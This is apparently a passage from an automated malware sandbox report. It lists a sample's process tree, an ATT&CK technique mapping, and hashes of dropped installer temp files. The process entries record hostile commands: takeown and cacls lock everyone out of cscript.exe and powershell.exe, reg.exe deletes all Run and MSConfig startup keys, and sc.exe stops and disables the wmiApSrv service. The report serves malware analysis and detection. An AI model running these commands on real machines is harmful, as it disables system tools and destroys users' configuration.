3⤵
PID:2188

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\cscript.exe
3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2984

C:\Windows\SysWOW64\cacls.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\cscript.exe /E /P everyone:N
3⤵
PID:2232

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2388

C:\Windows\SysWOW64\cacls.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
3⤵
PID:1956

C:\Windows\SysWOW64\takeown.exe
"C:\Windows\SysWOW64\takeown.exe" /f C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2608

C:\Windows\SysWOW64\cacls.exe
"C:\Windows\SysWOW64\cacls.exe" C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe /E /P everyone:N
3⤵
PID:2828

C:\Windows\SysWOW64\reg.exe
"C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
3⤵
PID:2836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\SysWOW64\reg.exe" delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
3⤵
PID:2792

C:\Windows\SysWOW64\reg.exe
"C:\Windows\SysWOW64\reg.exe" delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg /f
3⤵
PID:2852

C:\Windows\SysWOW64\sc.exe
"C:\Windows\SysWOW64\sc.exe" stop wmiApSrv
3⤵
- Launches sc.exe
PID:2928

C:\Windows\SysWOW64\sc.exe
"C:\Windows\SysWOW64\sc.exe" config wmiApSrv start=disabled
3⤵
- Launches sc.exe
PID:2660

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\6d3bfb.rbs
Filesize
2KB

MD5
e6c951d203ff1712d27c46221aa94d5b

SHA1
372a3ad44ce16a014c525076829f9295df105584

SHA256
214a767ec9859e9cbf7e6ac4ba06b8e49f3a69451e52758b102581edc7cae47a

SHA512
3dc536a3207fb5778da9b1a8edd45fdfc884ffd705735ee5778869f8de427c98d79e1c1e21626b080b19cb13bf05414b2914fc9ac19f71b2cd34c20c0fbde656

Download Submit
C:\Windows\Installer\MSI3D21.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI404D.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI40DA.tmp
Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
C:\Windows\Installer\MSI4187.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI4187.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI3D21.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI404D.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI40DA.tmp
Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
\Windows\Installer\MSI4187.tmp
Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
memory/2248-77-0x0000000002580000-0x00000000025C0000-memory.dmp

Filesize
256KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads